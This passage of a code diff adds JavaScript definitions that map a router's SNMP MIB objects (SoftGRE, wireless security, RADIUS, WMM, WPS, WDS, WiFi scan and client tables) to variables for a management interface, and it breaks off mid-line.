+RouterSoftGreWanTable.RemoteIdEnabled = new Column("RemoteIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.11",2); +RouterSoftGreWanTable.MaxSessions = new Column("MaxSessions","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.3",2); +RouterSoftGreWanTable.ControllerFqdn = new Column("ControllerFqdn","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.4",4); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType = new Column("ControllerProvisionedSecondaryIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.5",1); +RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress = new Column("ControllerProvisionedSecondaryIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.6",4); +RouterSoftGreWanTable.ControllerCurrentIpAddressType = new Column("ControllerCurrentIpAddressType","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.21",1); +RouterSoftGreWanTable.ControllerCurrentIpAddress = new Column("ControllerCurrentIpAddress","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.22",4); + +var arGreWanSoftGreWanEnable=RouterSoftGreWanTable.SoftGreWanEnable; +var arGreWanSoftGreMappedInterface=RouterSoftGreWanTable.SoftGreMappedInterface; +var arGreWanSoftGreWanDscp=RouterSoftGreWanTable.SoftGreWanDscp; +var arGreWanFailoverPingCount=RouterSoftGreWanTable.FailoverPingCount; +var arGreWanFailoverPingInterval=RouterSoftGreWanTable.FailoverPingInterval; +var arGreWanFailoverThreshold=RouterSoftGreWanTable.FailoverThreshold; +//var arGreWanDNSRetryTimer=RouterSoftGreWanTable.DNSRetryTimer; +var arGreWanCircuitIdEnabled=RouterSoftGreWanTable.CircuitIdEnabled; +var arGreWanRemoteIdEnabled=RouterSoftGreWanTable.RemoteIdEnabled; +var arGreMaxSessions=RouterSoftGreWanTable.MaxSessions; +var arGreWanControllerFqdn=RouterSoftGreWanTable.ControllerFqdn; +var arGreWanControllerProvisionedSecondaryIpAddressType=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddressType; +var arGreWanControllerProvisionedSecondaryIpAddress=RouterSoftGreWanTable.ControllerProvisionedSecondaryIpAddress; +var arGreWanControllerCurrentIpAddressType=RouterSoftGreWanTable.ControllerCurrentIpAddressType; +var arGreWanControllerControllerCurrentIpAddress=RouterSoftGreWanTable.ControllerCurrentIpAddress; + +var RouterSoftGreSSIDTable = new Table("RouterSoftGreSSIDTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2"); +RouterSoftGreSSIDTable.SoftGreVLanId = new Column("SoftGreVLanId", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.1",66); +RouterSoftGreSSIDTable.SoftGreVLanPriority = new Column("SoftGreVLanPriority", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.2",66); + +var arGreSSIDSoftGreVLanId=RouterSoftGreSSIDTable.SoftGreVLanId; +var arGreSSIDSoftGreVLanPriority=RouterSoftGreSSIDTable.SoftGreVLanPriority; + + +var BSSTable = new Table("BSSTable", "1.3.6.1.4.1.4115.1.20.1.1.3.22"); +BSSTable.BssID = new Column("BssID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.1",4, 1); +BSSTable.BssSSID = new Column("BssSSID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2",4); +BSSTable.BssActive = new Column("BssActive","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.3",2); +BSSTable.BssSSIDBroadcast = new Column("BssSSIDBroadcast","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.4",2); +BSSTable.BssSecurityMode = new Column("BssSecurityMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5",2); +BSSTable.BssAccessMode = new Column("BssAccessMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.6",2); +BSSTable.BssNetworkIsolate = new Column("BssNetworkIsolate","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.7",2); +BSSTable.BssMACAccessCount = new Column("BssMACAccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.8",66); +BSSTable.BssMACAccessClear = new Column("BssMACAccessClear","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.9",2); +BSSTable.BssWMMEnable = new Column("BssWMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.12",2); +var arBssID=BSSTable.BssID; +var arBssSSID=BSSTable.BssSSID; +var arBssActive=BSSTable.BssActive; +var arBssSSIDBroadcast=BSSTable.BssSSIDBroadcast; +var arBssSecurityMode=BSSTable.BssSecurityMode; +var arBssAccessMode=BSSTable.BssAccessMode; +var arBssNetworkIsolate=BSSTable.BssNetworkIsolate; +var arBssMACAccessCount=BSSTable.BssMACAccessCount; +var arBssMACAccessClear=BSSTable.BssMACAccessClear; +var arBssWMMEnable=BSSTable.BssWMMEnable; + +var WEPTable = new Table("WEPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.23"); +WEPTable.WEPCurrentKey = new Column("WEPCurrentKey","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.1",66); +WEPTable.WEPEncryptionMode = new Column("WEPEncryptionMode","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2",2); +WEPTable.WEPPassPhrase = new Column("WEPPassPhrase","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.3",4); +var arWEPCurrentKey=WEPTable.WEPCurrentKey; +var arWEPEncryptionMode=WEPTable.WEPEncryptionMode; +var arWEPPassPhrase=WEPTable.WEPPassPhrase; + +var WEP64BitKeyTable = new Table("WEP64BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.24"); +WEP64BitKeyTable.WEP64BitKeyIndex = new Column("WEP64BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.1",2); +WEP64BitKeyTable.WEP64BitKeyValue = new Column("WEP64BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2",4); +WEP64BitKeyTable.WEP64BitKeyStatus = new Column("WEP64BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.3",2); +var arWEP64BitKeyIndex=WEP64BitKeyTable.WEP64BitKeyIndex; +var arWEP64BitKeyValue=WEP64BitKeyTable.WEP64BitKeyValue; +var arWEP64BitKeyStatus=WEP64BitKeyTable.WEP64BitKeyStatus; + +var WEP128BitKeyTable = new Table("WEP128BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.25"); +WEP128BitKeyTable.WEP128BitKeyIndex = new Column("WEP128BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.1",2); +WEP128BitKeyTable.WEP128BitKeyValue = new Column("WEP128BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2",4); +WEP128BitKeyTable.WEP128BitKeyStatus = new Column("WEP128BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.3",2); +var arWEP128BitKeyIndex=WEP128BitKeyTable.WEP128BitKeyIndex; +var arWEP128BitKeyValue=WEP128BitKeyTable.WEP128BitKeyValue; +var arWEP128BitKeyStatus=WEP128BitKeyTable.WEP128BitKeyStatus; + +var WPATable = new Table("WPATable", "1.3.6.1.4.1.4115.1.20.1.1.3.26"); +WPATable.WPAAlgorithm = new Column("WPAAlgorithm","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1",2); +WPATable.WPAPreSharedKey = new Column("WPAPreSharedKey","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2",4); +WPATable.WPAGroupRekeyInterval = new Column("WPAGroupRekeyInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.3",66); +WPATable.WPAReAuthInterval = new Column("WPAReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.4",66); +WPATable.WPAPreAuthEnable = new Column("WPAPreAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.5",2); +var arWPAAlgorithm=WPATable.WPAAlgorithm; +var arWPAPreSharedKey=WPATable.WPAPreSharedKey; +var arWPAGroupRekeyInterval=WPATable.WPAGroupRekeyInterval; +var arWPAReAuthInterval=WPATable.WPAReAuthInterval; +var arWPAPreAuthEnable=WPATable.WPAPreAuthEnable; + +var RadiusTable = new Table("RadiusTable", "1.3.6.1.4.1.4115.1.20.1.1.3.27"); +RadiusTable.RadiusAddressType = new Column("RadiusAddressType","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.1",2); +RadiusTable.RadiusAddress = new Column("RadiusAddress","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.2",4, 1); +RadiusTable.RadiusPort = new Column("RadiusPort","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.3",66); +RadiusTable.RadiusKey = new Column("RadiusKey","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.4",4); +RadiusTable.RadiusReAuthInterval = new Column("RadiusReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.5",66); +var arRadiusAddressType=RadiusTable.RadiusAddressType; +var arRadiusAddress=RadiusTable.RadiusAddress; +var arRadiusPort=RadiusTable.RadiusPort; +var arRadiusKey=RadiusTable.RadiusKey; +var arRadiusReAuthInterval=RadiusTable.RadiusReAuthInterval; + +var MACAccessTable = new Table("MACAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.3.28"); +MACAccessTable.MACAccessIndex = new Column("MACAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.1",2); +MACAccessTable.MACAccessAddr = new Column("MACAccessAddr","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.2",4, 1); +MACAccessTable.MACAccessStatus = new Column("MACAccessStatus","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.3",2); +MACAccessTable.MACAccessDeviceName = new Column("MACAccessDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.4",4); +var arMACAccessIndex=MACAccessTable.MACAccessIndex; +var arMACAccessAddr=MACAccessTable.MACAccessAddr; +var arMACAccessStatus=MACAccessTable.MACAccessStatus; +var arMACAccessDeviceName=MACAccessTable.MACAccessDeviceName; + +var WMMCfg = new Container("WMMCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.29"); +WMMCfg.WMMEnable= new Scalar("WMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.29.1",2); +WMMCfg.WMMNoAck= new Scalar("WMMNoAck","1.3.6.1.4.1.4115.1.20.1.1.3.29.2",2); +WMMCfg.WMMAPSD= new Scalar("WMMAPSD","1.3.6.1.4.1.4115.1.20.1.1.3.29.3",2); +var arWMMEnable=WMMCfg.WMMEnable; +var arWMMNoAck=WMMCfg.WMMNoAck; +var arWMMAPSD=WMMCfg.WMMAPSD; + +var WMM50Cfg = new Container("WMM50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.63"); +WMM50Cfg.WMM50Enable= new Scalar("WMM50Enable","1.3.6.1.4.1.4115.1.20.1.1.3.63.1",2); +WMM50Cfg.WMM50NoAck= new Scalar("WMM50NoAck","1.3.6.1.4.1.4115.1.20.1.1.3.63.2",2); +WMM50Cfg.WMM50APSD= new Scalar("WMM50APSD","1.3.6.1.4.1.4115.1.20.1.1.3.63.3",2); +var arWMM50Enable=WMM50Cfg.WMM50Enable; +var arWMM50NoAck=WMM50Cfg.WMM50NoAck; +var arWMM50APSD=WMM50Cfg.WMM50APSD; + +var WMMEDCAAPTable = new Table("WMMEDCAAPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.4"); +WMMEDCAAPTable.WMMEDCAAPIndex = new Column("WMMEDCAAPIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.1",2); +WMMEDCAAPTable.WMMEDCAAPCWmin = new Column("WMMEDCAAPCWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.2",66); +WMMEDCAAPTable.WMMEDCAAPCWmax = new Column("WMMEDCAAPCWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.3",66); +WMMEDCAAPTable.WMMEDCAAPAIFSN = new Column("WMMEDCAAPAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.4",66); +WMMEDCAAPTable.WMMEDCAAPTxOpBLimit = new Column("WMMEDCAAPTxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.5",66); +WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit = new Column("WMMEDCAAPTxOpAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.6",66); +WMMEDCAAPTable.WMMEDCAAPAdmitCont = new Column("WMMEDCAAPAdmitCont","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.7",2); +WMMEDCAAPTable.WMMEDCAAPDiscardOld = new Column("WMMEDCAAPDiscardOld","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.8",2); +var arWMMEDCAAPIndex=WMMEDCAAPTable.WMMEDCAAPIndex; +var arWMMEDCAAPCWmin=WMMEDCAAPTable.WMMEDCAAPCWmin; +var arWMMEDCAAPCWmax=WMMEDCAAPTable.WMMEDCAAPCWmax; +var arWMMEDCAAPAIFSN=WMMEDCAAPTable.WMMEDCAAPAIFSN; +var arWMMEDCAAPTxOpBLimit=WMMEDCAAPTable.WMMEDCAAPTxOpBLimit; +var arWMMEDCAAPTxOpAGLimit=WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit; +var arWMMEDCAAPAdmitCont=WMMEDCAAPTable.WMMEDCAAPAdmitCont; +var arWMMEDCAAPDiscardOld=WMMEDCAAPTable.WMMEDCAAPDiscardOld; + +var WMMEDCASTATable = new Table("WMMEDCASTATable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.5"); +WMMEDCASTATable.WMMEDCASTAIndex = new Column("WMMEDCASTAIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.1",2); +WMMEDCASTATable.WMMEDCASTACWmin = new Column("WMMEDCASTACWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.2",66); +WMMEDCASTATable.WMMEDCASTACWmax = new Column("WMMEDCASTACWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.3",66); +WMMEDCASTATable.WMMEDCASTAAIFSN = new Column("WMMEDCASTAAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.4",66); +WMMEDCASTATable.WMMEDCASTATxOpBLimit = new Column("WMMEDCASTATxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.5",66); +WMMEDCASTATable.WMMEDCASTATxAGLimit = new Column("WMMEDCASTATxAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.6",66); +var arWMMEDCASTAIndex=WMMEDCASTATable.WMMEDCASTAIndex; +var arWMMEDCASTACWmin=WMMEDCASTATable.WMMEDCASTACWmin; +var arWMMEDCASTACWmax=WMMEDCASTATable.WMMEDCASTACWmax; +var arWMMEDCASTAAIFSN=WMMEDCASTATable.WMMEDCASTAAIFSN; +var arWMMEDCASTATxOpBLimit=WMMEDCASTATable.WMMEDCASTATxOpBLimit; +var arWMMEDCASTATxAGLimit=WMMEDCASTATable.WMMEDCASTATxAGLimit; + +var WPSCfg = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.30"); +WPSCfg.WpsMode= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.30.1",2); +WPSCfg.WpsConfigState= new Scalar("WpsConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.30.2",2); +WPSCfg.WpsDevicePIN= new Scalar("WpsDevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.30.3",4); +WPSCfg.WpsDeviceName= new Scalar("WpsDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.30.4",4); +WPSCfg.WpsModelName= new Scalar("WpsModelName","1.3.6.1.4.1.4115.1.20.1.1.3.30.5",4); +WPSCfg.WpsMfg= new Scalar("WpsMfg","1.3.6.1.4.1.4115.1.20.1.1.3.30.6",4); +WPSCfg.WpsResultStatus= new Scalar("WpsResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.7",2); +WPSCfg.WpsStatus= new Scalar("WpsStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.8",2); +WPSCfg.WpsConfigTimeout= new Scalar("WpsConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.30.9",2); +WPSCfg.WpsSTAPin= new Scalar("WpsSTAPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.10",4); +WPSCfg.WpsPushButton= new Scalar("WpsPushButton","1.3.6.1.4.1.4115.1.20.1.1.3.30.11",2); +WPSCfg.WpsBoardNum= new Scalar("WpsBoardNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.12",4); +WPSCfg.WpsModelNum= new Scalar("WpsModelNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.13",4); +WPSCfg.WpsUUID= new Scalar("WpsUUID","1.3.6.1.4.1.4115.1.20.1.1.3.30.14",4); +var arWpsMode=WPSCfg.WpsMode; +var arWpsConfigState=WPSCfg.WpsConfigState; +var arWpsDevicePIN=WPSCfg.WpsDevicePIN; +var arWpsDeviceName=WPSCfg.WpsDeviceName; +var arWpsModelName=WPSCfg.WpsModelName; +var arWpsMfg=WPSCfg.WpsMfg; +var arWpsResultStatus=WPSCfg.WpsResultStatus; +var arWpsStatus=WPSCfg.WpsStatus; +var arWpsConfigTimeout=WPSCfg.WpsConfigTimeout; +var arWpsSTAPin=WPSCfg.WpsSTAPin; +var arWpsPushButton=WPSCfg.WpsPushButton; +var arWpsBoardNum=WPSCfg.WpsBoardNum; +var arWpsModelNum=WPSCfg.WpsModelNum; +var arWpsUUID=WPSCfg.WpsUUID; + +var WPSCfgEx = new Container("WPSCfgEx", "1.3.6.1.4.1.4115.1.20.1.1.3.30.15"); +WPSCfgEx.WpsMethodPin= new Scalar("WpsMethodPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.15.2",2); +var arWpsMethodPin=WPSCfgEx.WpsMethodPin; + + +var WPS50Cfg = new Container("WPS50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65"); +WPS50Cfg.Wps50Mode= new Scalar("Wps50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.65.1",2); +WPS50Cfg.Wps50ConfigState= new Scalar("Wps50ConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.65.2",2); +WPS50Cfg.Wps50DevicePIN= new Scalar("Wps50DevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.65.3",4,1); +WPS50Cfg.Wps50DeviceName= new Scalar("Wps50DeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.65.4",4); +WPS50Cfg.Wps50ModelName= new Scalar("Wps50ModelName","1.3.6.1.4.1.4115.1.20.1.1.3.65.5",4); +WPS50Cfg.Wps50Mfg= new Scalar("Wps50Mfg","1.3.6.1.4.1.4115.1.20.1.1.3.65.6",4); +WPS50Cfg.Wps50ResultStatus= new Scalar("Wps50ResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.65.7",2); +WPS50Cfg.Wps50Status= new Scalar("Wps50Status","1.3.6.1.4.1.4115.1.20.1.1.3.65.8",2); +WPS50Cfg.Wps50ConfigTimeout= new Scalar("Wps50ConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.65.9",2); +WPS50Cfg.Wps50STAPin= new Scalar("Wps50STAPin","1.3.6.1.4.1.4115.1.20.1.1.3.65.10",4,1); +WPS50Cfg.Wps50PushButton= new Scalar("Wps50PushButton","1.3.6.1.4.1.4115.1.20.1.1.3.65.11",2); +WPS50Cfg.Wps50UUID= new Scalar("Wps50UUID","1.3.6.1.4.1.4115.1.20.1.1.3.65.14",4,1); +var arWps50Mode=WPS50Cfg.Wps50Mode; +var arWps50ConfigState=WPS50Cfg.Wps50ConfigState; +var arWps50DevicePIN=WPS50Cfg.Wps50DevicePIN; +var arWps50DeviceName=WPS50Cfg.Wps50DeviceName; +var arWps50ModelName=WPS50Cfg.Wps50ModelName; +var arWps50Mfg=WPS50Cfg.Wps50Mfg; +var arWps50ResultStatus=WPS50Cfg.Wps50ResultStatus; +var arWps50Status=WPS50Cfg.Wps50Status; +var arWps50ConfigTimeout=WPS50Cfg.Wps50ConfigTimeout; +var arWps50STAPin=WPS50Cfg.Wps50STAPin; +var arWps50PushButton=WPS50Cfg.Wps50PushButton; +var arWps50UUID=WPS50Cfg.Wps50UUID; + +var WPS50CfgEx = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65.15"); +WPS50CfgEx.WpsMethodPin= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.65.15.2",2); +var arWps50MethodPin=WPS50CfgEx.WpsMethodPin; + + +var WDSCfg = new Container("WDSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.31"); +WDSCfg.WDSEnable= new Scalar("WDSEnable","1.3.6.1.4.1.4115.1.20.1.1.3.31.1",2); +WDSCfg.WDSTableFreeIdx= new Scalar("WDSTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.3.31.2",2); +var arWDSEnable=WDSCfg.WDSEnable; +var arWDSTableFreeIdx=WDSCfg.WDSTableFreeIdx; + +var WDSBridgeTable = new Table("WDSBridgeTable", "1.3.6.1.4.1.4115.1.20.1.1.3.31.3"); +WDSBridgeTable.WDSBridgeIndex = new Column("WDSBridgeIndex","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.1",2); +WDSBridgeTable.WDSBridgeAddr = new Column("WDSBridgeAddr","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.2",4,1); +WDSBridgeTable.WDSBridgeStatus = new Column("WDSBridgeStatus","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.3",2); +var arWDSBridgeIndex=WDSBridgeTable.WDSBridgeIndex; +var arWDSBridgeAddr=WDSBridgeTable.WDSBridgeAddr; +var arWDSBridgeStatus=WDSBridgeTable.WDSBridgeStatus; + +var WiFiScan = new Container("WiFiScan", "1.3.6.1.4.1.4115.1.20.1.1.3.39"); +WiFiScan.WiFiStartScan= new Scalar("WiFiStartScan","1.3.6.1.4.1.4115.1.20.1.1.3.39.1",2); +WiFiScan.WiFiScanResult= new Scalar("WiFiScanResult","1.3.6.1.4.1.4115.1.20.1.1.3.39.2",2); +var arWiFiStartScan=WiFiScan.WiFiStartScan; +var arWiFiScanResult=WiFiScan.WiFiScanResult; + +var WiFiScanResultTable = new Table("WiFiScanResultTable", "1.3.6.1.4.1.4115.1.20.1.1.3.39.3"); +WiFiScanResultTable.WiFiScanIndex = new Column("WiFiScanIndex","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.1",66); +WiFiScanResultTable.WiFiScanSSID = new Column("WiFiScanSSID","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.2",4,1); +WiFiScanResultTable.WiFiScanChannel = new Column("WiFiScanChannel","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.3",66); +WiFiScanResultTable.WiFiScanChannel2 = new Column("WiFiScanChannel2","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.4",66); +WiFiScanResultTable.WiFiScanRSSI = new Column("WiFiScanRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.5",2); +WiFiScanResultTable.WiFiScanNoise = new Column("WiFiScanNoise","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.6",2); +WiFiScanResultTable.WiFiScanMAC = new Column("WiFiScanMAC","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.7",4,1); +WiFiScanResultTable.WiFiScanMfg = new Column("WiFiScanMfg","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.8",4); +WiFiScanResultTable.WiFiScanSupportedRates = new Column("WiFiScanSupportedRates","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.9",4); +var arWiFiScanIndex=WiFiScanResultTable.WiFiScanIndex; +var arWiFiScanSSID=WiFiScanResultTable.WiFiScanSSID; +var arWiFiScanChannel=WiFiScanResultTable.WiFiScanChannel; +var arWiFiScanChannel2=WiFiScanResultTable.WiFiScanChannel2; +var arWiFiScanRSSI=WiFiScanResultTable.WiFiScanRSSI; +var arWiFiScanNoise=WiFiScanResultTable.WiFiScanNoise; +var arWiFiScanMAC=WiFiScanResultTable.WiFiScanMAC; +var arWiFiScanMfg=WiFiScanResultTable.WiFiScanMfg; +var arWiFiScanSupportedRates=WiFiScanResultTable.WiFiScanSupportedRates; + +var WiFiClientInfoTable = new Table("WiFiClientInfoTable", "1.3.6.1.4.1.4115.1.20.1.1.3.42"); +WiFiClientInfoTable.WiFiClientInfoIndex = new Column("WiFiClientInfoIndex","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.1",2); +WiFiClientInfoTable.WiFiClientInfoIPAddrType = new Column("WiFiClientInfoIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.2",2); +WiFiClientInfoTable.WiFiClientInfoIPAddr = new Column("WiFiClientInfoIPAddr","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.3",4,1); +WiFiClientInfoTable.WiFiClientInfoIPAddrTextual = new Column("WiFiClientInfoIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.4",4); +WiFiClientInfoTable.WiFiClientInfoHostName = new Column("WiFiClientInfoHostName","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.5",4); +WiFiClientInfoTable.WiFiClientInfoMAC = new Column("WiFiClientInfoMAC","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.6",4,1); +WiFiClientInfoTable.WiFiClientInfoMACMfg = new Column("WiFiClientInfoMACMfg","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.7",4); +WiFiClientInfoTable.WiFiClientInfoStatus = new Column("WiFiClientInfoStatus","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.8",2); +WiFiClientInfoTable.WiFiClientInfoFirstSeen = new Column("WiFiClientInfoFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.9",4,1); +WiFiClientInfoTable.WiFiClientInfoLastSeen = new Column("WiFiClientInfoLastSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.10",4,1); +WiFiClientInfoTable.WiFiClientInfoIdleTime = new Column("WiFiClientInfoIdleTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.11",2); +WiFiClientInfoTable.WiFiClientInfoInNetworkTime = new Column("WiFiClientInfoInNetworkTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.12",2); +WiFiClientInfoTable.WiFiClientInfoState = new Column("WiFiClientInfoState","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.13",4); +WiFiClientInfoTable.WiFiClientInfoFlags = new Column("WiFiClientInfoFlags","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.14",4,1); +WiFiClientInfoTable.WiFiClientInfoTxPkts = new Column("WiFiClientInfoTxPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.15",2); +WiFiClientInfoTable.WiFiClientInfoTxFailures = new Column("WiFiClientInfoTxFailures","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.16",2); +WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts = new Column("WiFiClientInfoRxUnicastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.17",2); +WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts = new Column("WiFiClientInfoRxMulticastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.18",2); +WiFiClientInfoTable.WiFiClientInfoLastTxPktRate = new Column("WiFiClientInfoLastTxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.19",2); +WiFiClientInfoTable.WiFiClientInfoLastRxPktRate = new Column("WiFiClientInfoLastRxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.20",2); +WiFiClientInfoTable.WiFiClientInfoRateSet = new Column("WiFiClientInfoRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.21",4,1); +WiFiClientInfoTable.WiFiClientInfoRSSI = new Column("WiFiClientInfoRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.22",2); +var arWiFiClientInfoIndex=WiFiClientInfoTable.WiFiClientInfoIndex; +var arWiFiClientInfoIPAddrType=WiFiClientInfoTable.WiFiClientInfoIPAddrType; +var arWiFiClientInfoIPAddr=WiFiClientInfoTable.WiFiClientInfoIPAddr; +var arWiFiClientInfoIPAddrTextual=WiFiClientInfoTable.WiFiClientInfoIPAddrTextual; +var arWiFiClientInfoHostName=WiFiClientInfoTable.WiFiClientInfoHostName; +var arWiFiClientInfoMAC=WiFiClientInfoTable.WiFiClientInfoMAC; +var arWiFiClientInfoMACMfg=WiFiClientInfoTable.WiFiClientInfoMACMfg; +var arWiFiClientInfoStatus=WiFiClientInfoTable.WiFiClientInfoStatus; +var arWiFiClientInfoFirstSeen=WiFiClientInfoTable.WiFiClientInfoFirstSeen; +var arWiFiClientInfoLastSeen=WiFiClientInfoTable.WiFiClientInfoLastSeen; +var arWiFiClientInfoIdleTime=WiFiClientInfoTable.WiFiClientInfoIdleTime; +var arWiFiClientInfoInNetworkTime=WiFiClientInfoTable.WiFiClientInfoInNetworkTime; +var arWiFiClientInfoState=WiFiClientInfoTable.WiFiClientInfoState; +var arWiFiClientInfoFlags=WiFiClientInfoTable.WiFiClientInfoFlags; +var arWiFiClientInfoTxPkts=WiFiClientInfoTable.WiFiClientInfoTxPkts; +var arWiFiClientInfoTxFailures=WiFiClientInfoTable.WiFiClientInfoTxFailures; +var arWiFiClientInfoRxUnicastPkts=WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts; +var arWiFiClientInfoRxMulticastPkts=WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts; +var arWiFiClientInfoLastTxPktRate=WiFiClientInfoTable.WiFiClientInfoLastTxPktRate; +var 